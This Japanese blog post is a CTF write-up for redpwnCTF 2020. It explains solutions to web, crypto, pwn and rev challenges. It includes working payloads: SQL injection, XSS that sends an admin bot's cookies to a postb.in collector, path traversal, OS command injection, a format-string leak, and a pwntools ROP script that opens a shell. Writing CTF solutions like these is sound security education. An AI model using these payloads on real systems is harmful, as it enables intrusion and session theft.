redpwnCTF 2020 write-up
はじめに
redpwnCTF 2020というCTFに1週間出ていたので、そこで解いた問題のwrite-upを書いていこうと思います。
CTFの結果は167/1494位でした。まあまあ、悪くはないけど良くもない感じです…欲を言えば100位以内に入りたかったですね…
解いた問題は全部で19問あるので、全部詳細に書いていくと面倒くさい量が膨大になるので、簡単な問題はさっと一言で終わらせようかと思います。
1. web
inspector-general
問題
My friend made a new webpage, can you find a flag?
解法
リンク先のページのソースを見てみると、ソースの先頭にフラグが書いてありました。フラグはflag{1nspector_g3n3ral_at_w0rk}
<!DOCTYPE html> <html lang="en-us"> <head> <meta name="generator" content="Hugo 0.72.0" /> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="redpwnctf2020" content="flag{1nspector_g3n3ral_at_w0rk}"> <title>Home | redpwn</title>
login
問題
I made a cool login page. I bet you can't get in! Site: login.2020.redpwnc.tf
Downloads: index.js
解法
リンク先のサイトを見に行くと、こんな感じのWebサイトになってます。
まあ、SQLiだろうと与えられたindex.jsを見ると以下のような記述を見つけました。
... let result; try { console.log(`SELECT * FROM users WHERE username = '${username}' AND password = '${password}';`); result = db.prepare(`SELECT * FROM users WHERE username = '${username}' AND password = '${password}';`).get(); } catch (error) { res.json({ success: false, error: "There was a problem." }); res.end(); return; } if (result) { res.json({ success: true, flag: process.env.FLAG }); res.end(); return; } res.json({ success: false, error: "Incorrect username or password." }); });
username
とpassword
を文字列としてSQL文に埋め込んでるので、がっつりSQLiできそうですね。ログインフォームに以下を入力すれば、ポップアップが出てきたフラグを取得できました。
Username = admin Password = ' OR 1 = 1 --
フラグはflag{0bl1g4t0ry_5ql1}
です。
static-pastebin
問題
I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it here
Site: static-pastebin.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
解法
static-pastebin.2020.redpwnc.tf
にアクセスすると以下のようなWebサイトになってます。
何か入力して、Create
ボタンを押してみるとこんな感じのページに遷移します。
XSSの匂いがしますので、<script>alert(1);</script>
タグを仕込んでみます。
何かのサニタイズ機能がありそうですね。入力を表示しているページのソースを見ると、こんな感じのJSコードを読み込んでいました。
(async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const content = window.location.hash.substring(1); display(atob(content)); })(); function display(input) { document.getElementById('paste').innerHTML = clean(input); } function clean(input) { let brackets = 0; let result = ''; for (let i = 0; i < input.length; i++) { const current = input.charAt(i); if (current == '<') { brackets ++; } if (brackets == 0) { result += current; } if (current == '>') { brackets --; } } return result }
<
が出現するとbrackets++
、>
が出現するとbrackets--
、brackets == 0
のときだけ文字を出力する。というサニタイザになってます。このサニタイザは>
を先頭につけるだけで簡単に突破できます。
><img src="#" onerror="alert(1);">
入力してCreate
ボタンを押してみると
できましたね。
次に、static-pastebin.2020.redpwnc.tf
を見てみましょう。
どうやらURLを与えると、Admin BotがそのURLにアクセスしてくれそうです。ここは若干のguessが入りますが、多分Admin Botのクッキーにフラグが入っていて、それを盗む問題だと仮定してみます。
Admin Botがクッキーを送信するドメインはきっと*.2020.redpwnc.tf
だと考えて、先程のStatic Pastbin
に以下のXSSを仕込んで、Admin BotにそのURLを渡します。
><img src="#" onerror="window.location.href='https://postb.in/1593320685649-0742171728052?q=' + document.cookie">
少し解説するとこれは、XSSが仕込まれたページにアクセスしたユーザーをhttps://postb.in/1593320685649-0742171728052
に誘導し、その際にクエリq
にクッキーをつけるという攻撃コードになっています。
ちなみに、Postbinはリクエストを収集するためのエンドポイント(URL)を自動で生成してくれるサービスでCTFでは結構活躍します。
生成された以下のURLをAdmin Botに与えて、Postbinで待機してみると…
https://static-pastebin.2020.redpwnc.tf/paste/#PjxpbWcgc3JjPSIjIiBvbmVycm9yPSJ3aW5kb3cubG9jYXRpb24uaHJlZj0naHR0cHM6Ly9wb3N0Yi5pbi8xNTkzMzIwNjg1NjQ5LTA3NDIxNzE3MjgwNTI/cT0nICsgZG9jdW1lbnQuY29va2llIj4=
アクセスが来ましたね。フラグはflag{54n1t1z4t10n_k1nd4_h4rd}
です。
panda-facts
問題
I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!
Site: panda-facts.2020.redpwnc.tf
Downloads: index.js
解法
panda-facts.2020.redpwnc.tf
にアクセスすると、以下のWebサイトに遷移します。
なんだかよくわからないので、与えられたindex.js
を見てみると
app.post('/api/login', async (req, res) => { if (!req.body.username || typeof req.body.username !== 'string') { res.status(400); res.end(); return; } res.json({'token': await generateToken(req.body.username)}); res.end; }); ... app.get('/api/flag', async (req, res) => { if (!req.cookies.token || typeof req.cookies.token !== 'string') { res.json({success: false, error: 'Invalid token'}); res.end(); return; } const result = await decodeToken(req.cookies.token); if (!result) { res.json({success: false, error: 'Invalid token'}); res.end(); return; } if (!result.member) { res.json({success: false, error: 'You are not a member'}); res.end(); return; } res.json({success: true, flag: process.env.FLAG}); }); ... async function generateToken(username) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const cipher = crypto.createCipheriv(algorithm, key, iv); const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}` console.log(token); let encrypted = ''; encrypted += cipher.update(token, 'utf8', 'base64'); encrypted += cipher.final('base64'); return encrypted; } async function decodeToken(encrypted) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv(algorithm, key, iv); let decrypted = ''; try { decrypted += decipher.update(encrypted, 'base64', 'utf8'); decrypted += decipher.final('utf8'); } catch (error) { return false; } let res; try { res = JSON.parse(decrypted); } catch (error) { console.log(error); return false; } if (res.integrity !== INTEGRITY) { return false; } return res; }
どうやら、api/flag
というエンドポイントがあり、そこからフラグを得られるのだが、そのためにはクッキーにmember=1
が設定されたjson形式のトークンを渡さないといけないっぽいです。
しかし、generateToken
を見てみると、サーバ側ではmember=0
のトークンしか作らないので、どうにかして、member=1
にしたトークンを手に入れないと駄目です。
const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`
この部分をよく見るとjson文字列に、ユーザの入力をそのまま埋め込んでいますね。ここのusername
に以下を埋め込めば、member=1
に設定できそうです。
admin", "member": 1, "test": "test
では、api/login
に以下のjsonを投げると
{ "username": "admin\", \"member\": 1, \"test\": \"test" }
こんな感じのトークンが返ってきます。
{ "token": "UK4cRIQoC6CqgCXpQeQIyU6V0PL6UZ+P/XEROuEd2XqqG77e6Op7ittY2dy0oUppbiLf1hBSSiyq+aWAViCIoVlR9Zi1NxWUtktqK3lS0HCA/5LMsJha/xjUgTku7ckF7cQVKn+D/tLo61FFp3gNSQ==" }
このトークンをクッキーに設定して、/api/flag
にアクセスしてみると…
{ "success": true, "flag": "flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}" }
来ましたね。フラグはflag{1_c4nt_f1nd_4_g00d_p4nd4_pun}
です。
static-static-hosting
問題
Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here
Site: static-static-hosting.2020.redpwnc.tf
Note: The site is entirely static. Dirbuster will not be useful in solving it.
解法
問題設定は基本的にstatic-pastebin
と同じですが、サニタイズ処理がこんな感じになっています。
function sanitize(element) { const attributes = element.getAttributeNames(); for (let i = 0; i < attributes.length; i++) { // Let people add images and styles if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) { element.removeAttribute(attributes[i]); } } const children = element.children; for (let i = 0; i < children.length; i++) { if (children[i].nodeName === 'SCRIPT') { element.removeChild(children[i]); i --; } else { sanitize(children[i]); } } }
- 属性はsrc, width, height, alt, classのいずれかしか許さない
- scriptタグは許さない
これも簡単にバイパスできます。src属性にはJavaScriptのコードが書けるからです。
こんな感じのXSSを仕込んで、Admin Botにアクセスさせるとフラグを入手できます。
<iframe src="javascript:window.location.href='https://postb.in/1593323465195-3182800728827?c='+document.cookie"></iframe>
フラグはflag{wh0_n33d5_d0mpur1fy}
です。
コンテスト中はこれで解けてたが、コンテスト後では解けなくなってた…どういうこと…
tux-fanpage
問題
My friend made a fanpage for Tux; can you steal the source code for me?
Site: tux-fanpage.2020.redpwnc.tf
Downloads: index.js
解法
今回解いた問題の中で一番好きかもしれない。tux-fanpage.2020.redpwnc.tf
にアクセスするとこんな感じのやばいページに遷移します。
ソースを見てみると
<!doctype html> <html> <head> <title>Tux</title> <link rel='stylesheet' type='text/css' href='?path=style.css'> </head>
パストラバーサルの匂いがしますね…index.js
を見てみると
const express = require('express') const path = require('path') const app = express() //Don't forget to redact from published source const flag = '[REDACTED]' ... app.get('/page', (req, res) => { let path = req.query.path //Handle queryless request if(!path || !strip(path)){ res.redirect('/page?path=index.html') return } path = strip(path) path = preventTraversal(path) res.sendFile(prepare(path), (err) => { if(err){ if (! res.headersSent) { try { res.send(strip(req.query.path) + ' not found') } catch { res.end() } } } }) }) //Prevent directory traversal attack function preventTraversal(dir){ if(dir.includes('../')){ let res = dir.replace('../', '') return preventTraversal(res) } //In case people want to test locally on windows if(dir.includes('..\\')){ let res = dir.replace('..\\', '') return preventTraversal(res) } return dir } //Get absolute path from relative path function prepare(dir){ return path.resolve('./public/' + dir) } //Strip leading characters function strip(dir){ const regex = /^[a-z0-9]$/im //Remove first character if not alphanumeric if(!regex.test(dir[0])){ if(dir.length > 0){ return strip(dir.slice(1)) } return '' } return dir }
req.query.path
に対して以下のサニタイズ処理をしています。
- 先頭にある
[a-z0-9]
以外の文字を消す ../
を再帰的に消す
この2.の再帰的に消すが曲者で、もし再帰的に消してなかった場合は....//
を入力すれば、真ん中の../
が消され、残りの../
でパストラバーサルができます。
数時間悩んだ結果、以下の箇所でクエリが文字列であることを確かめる処理がないことに気づきました。
let path = req.query.path //Handle queryless request if(!path || !strip(path)){ res.redirect('/page?path=index.html') return }
このため、req.query.path
に配列を渡すことができれば、サニタイズ処理をすべてバイパスできます。結果から書くと以下のURLにアクセスした場合、req.query.path
は配列となり、すべてのサニタイズ処理をバイパスできます。
https://tux-fanpage.2020.redpwnc.tf/page?path=a&path=ssets/../../index.js
クエリ文字列にpath
を2つ指定した場合、path
は配列になります。
req.query.path == ["a", "ssets/../../index.js"];
strip()
の処理を考えてみると、regex.test(dir[0])
はa
に対して実行されるので、ここはそのままバイパスされ、["a", "ssets/../../index.js"]
がstrip
から返ってきます。
次に、preventTraversal()
の処理を考えると、path
配列には../
が含まれていないので、そのままバイパスされ、同様に["a", "ssets/../../index.js"]
が返ってきます。
最後に、prepare
では["a", "ssets/../../index.js"]
のすべての要素が結合され、assets/../../index.js
になります。これでパストラバーサルが成功します。
https://tux-fanpage.2020.redpwnc.tf/page?path=a&path=ssets/../../index.js
にアクセスすると、以下のようにサーバ上にあるindex.js
のコードを閲覧できます。
const express = require('express') const path = require('path') const app = express() //Don't forget to redact from published source const flag = 'flag{tr4v3rsal_Tim3}' app.get('/', (req, res) => { res.redirect('/page?path=index.html') })
ソースコードに書いてある通り、フラグはflag{tr4v3rsal_Tim3}
です。
post-it-notes
問題
Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.
Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.
Downloads: source.zip
解法
恐怖を覚えるほど読みにくいPythonのソースコードが渡されます。ソースコードは置いといて、2020.redpwnc.tf:31957
にアクセスしてみると
適当なタイトルとコンテンツを入力してCreate POST-it Note
ボタンを押すと以下のようなページに遷移します。
ノート投稿サービスって所ですかね。URLはこんな感じhttp://2020.redpwnc.tf:31957/notes/this%20is%20title140628189552128
なんだかよくわからないので、ソースコードを読んでみると以下のように2段構えのサーバ構成になっていることがわかりました。
ソースコードがあまりにも雑で至るところにバグがあり、どれを突けばいいのかわからなくて辛かったです。SSRFとかHTTP Request Smugglingとかも考えていましたが、単純にOSコマンドインジェクション脆弱性がありました。
上の図のNote取得のcat 'notes/{nid}'
の所ですね。nid
はユーザーが任意の操作できるパラメータです。
具体的なデータの流れを見てみると
1. webサーバ
URLパラメータにnid
を取ります。これをNote.get
に渡してノートを取得します。
@app.route('/notes/<nid>') def notes(nid): try: print(f"nid: {nid}") n = Note.get(nid, port = BACKEND_PORT) return render_template('note.html', note = n) except: return render_template('error.html')
2. Noteクラス
nid
をjsonのtitle
フィールドに入れて、apiサーバに渡しています。
# :lemonthink: class Note: # XXX: no static typing? :( def get(nid, port = None): _host = API_HOST.format(port = port) json = jason note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = { 'title' : nid }, headers = { 'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD 'Connection' : 'close' }).text) or '{}') # url encoding is for noobs
3. apiサーバ
title
がそのまま、get_note
に渡されます。なにもサニタイズ処理がないので、簡単にOSコマンドインジェクションができることがわかります。
def get_note(nid): stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate() if stderr: print(stderr) # lemonthink return {} return { 'success' : True, 'title' : nid, 'contents' : stdout.decode('utf-8', errors = 'ignore') } @app.route('/api/v1/notes/', methods = ['GET', 'POST']) def notes(): # # NOTE: be sure to read this line below, or the following things will happen: # 1. You'll spend several hours trying to figure out why your exploit isn't working # 2. Then, once you realized I literally warned you about this, you'll be mad. # 3. Because you spent hours trying to fix your own exploit, you'll call this chal "guessy" # 4. The redpwnCTF CTFTime score will go down because you will downvote it over this chal (plz no) # 5. You won't win the CTF (HackerOne hoodies!!!) because you spent so long on this chal. # # tl;dr LITERALLY just READ THE CODE CAREFULLY! I am GIVING you the source, you don't even need # to add ?source or use LFI or anything! # # ^^^ btw I gotchu, just hmu if u want me to :leek: u some flags ;)) # #if request.headers.get('Authorization') != 'his name is john connor': # return {'success' : False, 'note' : 'u a fake'} # nevermind guys haha i changed my mind, this is a secret webserver, we don't need authorization header since bad guys can never access it anyway!!!!!!!111oneoneoneeleven ret_val = {'success':True} title = request.values['title'] if 'contents' not in request.values: # reading note note = get_note(str(title)[:0xff]) ret_val.update(note)
まずは、ls
を実行してどんなファイルがあるか確認します。
http://2020.redpwnc.tf:31957/notes/testasdasdga140628189720304'; ls ; echo 'test
flag.txt
があるので、これをcat
します。
http://2020.redpwnc.tf:31957/notes/testasdasdga140628189720304'; cat flag.txt ; echo 'test
フラグはflag{y0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b}
です。
2. crypto
base646464
問題
Encoding something multiple times makes it exponentially more secure!
Downloads: cipher.txt generate.js
解法
generate.js
を見てみると
const btoa = str => Buffer.from(str).toString('base64'); const fs = require("fs"); const flag = fs.readFileSync("flag.txt", "utf8").trim(); let ret = flag; for(let i = 0; i < 25; i++) ret = btoa(ret); fs.writeFileSync("cipher.txt", ret);
25回base64 encodingを実行しています。なので、逆に25回base64 decodingを実行すれば解けます。
フラグはflag{l00ks_l1ke_a_l0t_of_64s}
pseudo-key
問題
Keys are not always as they seem...
Note: Make sure to wrap the plaintext with flag{} before you submit! Downloads: pesudo-key-output.txt pseudo-key.py
解法
pseudo-key.py
を見てみるとこんな感じになってます。
#!/usr/bin/env python3 from string import ascii_lowercase chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)} num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)} def encrypt(ptxt, key): ptxt = ptxt.lower() key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower() ctxt = '' for i in range(len(ptxt)): if ptxt[i] == '_': ctxt += '_' continue x = chr_to_num[ptxt[i]] y = chr_to_num[key[i]] ctxt += num_to_chr[(x + y) % 26] return ctxt with open('flag.txt') as f, open('key.txt') as k: flag = f.read() key = k.read() ptxt = flag[5:-1] ctxt = encrypt(ptxt,key) pseudo_key = encrypt(key,key) print('Ciphertext:',ctxt) print('Pseudo-key:',pseudo_key)
基本的には多表式暗号ですが、鍵を鍵で暗号化した暗号文ももらえます。pseudo-key-output.txt
を見てみると
Ciphertext: z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut Pseudo-key: iigesssaemk
鍵長が短いので、総当たりで鍵を見つけることができます。以下にソルバを置いときます。
from string import ascii_lowercase chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)} num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)} def encrypt(ptxt, key): ptxt = ptxt.lower() key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower() ctxt = '' for i in range(len(ptxt)): if ptxt[i] == '_': ctxt += '_' continue x = chr_to_num[ptxt[i]] y = chr_to_num[key[i]] ctxt += num_to_chr[(x + y) % 26] return ctxt def decrypt(ctxt, key): ctxt = ctxt.lower() key = ''.join(key[i % len(key)] for i in range(len(ctxt))).lower() ptxt = '' for i in range(len(ctxt)): if ctxt[i] == '_': ptxt += '_' continue x = chr_to_num[ctxt[i]] y = chr_to_num[key[i]] ptxt += num_to_chr[(x - y) % 26] return ptxt def solve(idx, pseudo_key, key): if idx == len(pseudo_key): print(decrypt(ctxt, key)) return p = pseudo_key[idx] for i in range(0, 26): if (i + i) % 26 == chr_to_num[p]: solve(idx + 1, pseudo_key, key + num_to_chr[i]) ctxt = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut" pseudo_key = "iigesssaemk" solve(0, pseudo_key, "")
実行すると、あり得るすべての平文が出力されますが、フィーリングでフラグを見つけることができます。
フラグはflag{i_guess_pseudo_keys_are_pseudo_secure}
4k-rsa
問題
Only n00bz use 2048-bit RSA. True gamers use keys that are at least 4k bits long, no matter how many primes it takes...
Downloads: 4k-rsa-public-key.txt
解答
2048-bit RSAを使っているので安全とのことです。こういう問題の公開鍵(N)はだいたい素因数分解できます。
ネットに転がっている素因数分解サービスを使った所、数10分で素因数分解が終わりました。
Nは64個の素数の積で構成されているようです。Multi Prime RSAですね。RSA暗号は複数の素数でNが構成されていても、暗号化、復号することができます。なので、普通のRSAのアルゴリズムに従って、素因数からオイラーのファイ関数の値を計算し、秘密鍵(d)を割り出して、復号します。
ソルバは以下の通りです。
n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877 e = 65537 c = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171 primes = list(map(int, open("primes.txt").read().split())) from operator import mul from functools import reduce from Crypto.Util.number import inverse, long_to_bytes phi = reduce(mul, [p - 1 for p in primes]) d = inverse(e, phi) p = pow(c, d, n) print(long_to_bytes(p))
12-shades-of-redpwn
問題
Everyone's favorite guess god Tux just sent me a flag that he somehow encrypted with a color wheel!
I don't even know where to start, the wheel looks more like a clock than a cipher... can you help me crack the code? Downloads: ciphertext.jps color-wheel.jpg
解答
自分が解いたわけではなく、友人が解いたのですが、どうやらフラグは色相環を使って、12進数でエンコードされていたようです。
フラグはflag{9u3ss1n9_1s_4n_4rt}
3. pwn
coffer-overflow-0, coffer-overflow-1, coffer-overflow-2
バッファオーバーフローするだけのあまり面白みのない問題なので、飛ばします。
secret-flag
問題
There's a super secret flag in printf that allows you to LEAK the data at an address??
nc 2020.redpwnc.tf 31826 Downloads: secret-flag
解法
BinaryNinjaで解析した結果、main関数の処理が以下のようになってることがわかりました。
入力を格納したバッファをそのままprintf関数に渡しているので、Format String Bugがあります。
GDBでprintf関数を呼び出しているあたりを見てみます。
スタックトップから2番目の所にフラグ文字列へのポインタがあることがわかります。Linuxではx64 archの場合、第6引数まではレジスタを使いますが、第7引数からはスタックを使います。Format String Bugでは第n引数を文字列として解釈し、リークしたい場合、%n-1$s
をprintf関数の第1引数に渡します。
上記のGDBの画面を見ると、スタックトップから2番目の所にフラグ文字列があるので、これはprintf関数から見れば第8引数なので、%7$s
を渡せばこの値をリークできます。
$ nc 2020.redpwnc.tf 31826 I have a secret flag, which you'll never get! What is your name, young adventurer? %7$s Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}
フラグはflag{n0t_s0_s3cr3t_f1ag_n0w}
です。
the-library
問題
There's not a lot of useful functions in the binary itself. I wonder where you can get some...
nc 2020.redpwnc.tf 31350 Downloads: the-library the-library.c libc.so.6
解法
checksecをしてみます。
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
checksecの結果とlibc.so.6が渡されることを考えると、この問題はきっとbof→libc base leak→ROPだとあたりをつけます。
ソースコードも渡されているので見てみましょう。
#include <stdio.h> #include <string.h> int main(void) { char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to the library... What's your name?"); read(0, name, 0x100); puts("Hello there: "); puts(name); }
name
配列は16バイトしか無いのに、read(0, name, 0x100);
してるので完全にbofですね。
1. libc base leak
なにはともあれ、libcのベースアドレスをリークする必要があります。これはbofからputs@pltへret2plt攻撃を実行すればよさそうです。 リークするアドレスはlibc内のアドレスであれば何でも良いので、今回はread@gotをリークすることにします。
これを実行するためには、puts@pltを呼び出した時点で、第1引数(rdiレジスタ)にread@gotのアドレスを代入する必要があります。
rp++
を使って、ROPガジェットを探していきます。
$ rp++ -f ./the-library --unique -r 2 ... 0x00400733: pop rdi ; ret ; (1 found) ...
ちょうどpop rdi
があったので、これを使って、第1引数を設定します。
2. one gadget RCE
次にone gadget RCEを実行する必要があります。one gadget RCEとはlibc内に存在するコード片で、これを実行すれば一気に/bin/sh
を起動できます。(普通は、execveシステムコールの引数を自分で地道に準備して、syscall命令を呼び出す必要があります)
one gadget RCEを実行したいのですがが、1.のlibc base leakを実行している時点で、main関数の処理はすでに終了しているおり、入手したlibc base addressを使ってlibc内に処理を飛ばすことができません。ここで、bofを利用して、main関数を再度実行させます。
main関数を再度実行することで、bofをもう1回引き起こすことができ、このbofでone gadget RCEに処理を飛ばします。
one gadget RCEはこのツールを使えば簡単に探すことができます。
$ one_gadget ./libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
以下にソルバを載せておきます。
from pwn import * # one-gadget RCE """ 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """ e = ELF("./the-library") # p = process("./the-library") # l = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") p = remote("2020.redpwnc.tf", 31350) l = ELF("./libc.so.6") pop_rdi = 0x00400733 one_gadget_offset = 0x10a38c pld = b"A" * 0x18 pld += p64(pop_rdi) pld += p64(e.got["read"]) pld += p64(e.plt["puts"]) pld += p64(e.symbols["main"]) with open("pld.bin", "wb") as f: f.write(pld) # libc base leak p.sendafter("name?\n", pld) p.recvuntil("Hello there: ") libc_base = u64(p.recv()[29:29+6] + b"\x00\x00") - l.symbols["read"] log.info(f"libc base: 0x{libc_base:x}") # execute main again & send one_gadget RCE address one_gadget = one_gadget_offset + libc_base pld = b"A" * 0x18 pld += p64(one_gadget) p.sendline(pld) p.interactive()
これを実行するとシェルを奪取できます。
$ python solve.py ... Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0x7f03db1b1000 [*] Switching to interactive mode Hello there: AAAAAAAAAAAAAAAAAAAAAAAA\x8c\xb3+\xdb\x7f $ ls Makefile bin dev flag.txt lib lib32 lib64 libc.so.6 the-library the-library.c $ cat flag.txt flag{jump_1nt0_th3_l1brary}
フラグはflag{jump_1nt0_th3_l1brary}
です。
4. misc
sanity-check
問題
Good luck; have fun! flag{54n1ty_ch3ck_f1r5t_bl00d?}
解法
いわゆるWelcome問。フラグはflag{54n1ty_ch3ck_f1r5t_bl00d?}
discord
問題
Join our discord: https://discord.gg/25fu2Xd. Flag is in #announcements
解法
こちらもWelcome問。Discordに参加すると#announcementsチャンネルにフラグが書いてあった。
5. rev
ropes
問題
It's not just a string, it's a rope! Downloads: ropes
解法
以下を実行するだけ
$ strings ropes Give me a magic number: First part is: flag{r0pes_ar3_ Second part is: just_l0ng_str1ngs}
フラグはflag{r0pes_ar3_just_l0ng_str1ngs}
おわりに
1週間のCTFはつらい。毎日仕事終わってから4時間はCTFやってたので正気の沙汰ではなかったですのが、面白かったからヨシとします。
今回は主にweb中心の取り組んだので、pwnとかrevとかcryptoとか、他の興味あるジャンルはほぼ手つかずでした。時間あるときに、他のジャンルの問題も解いときたい…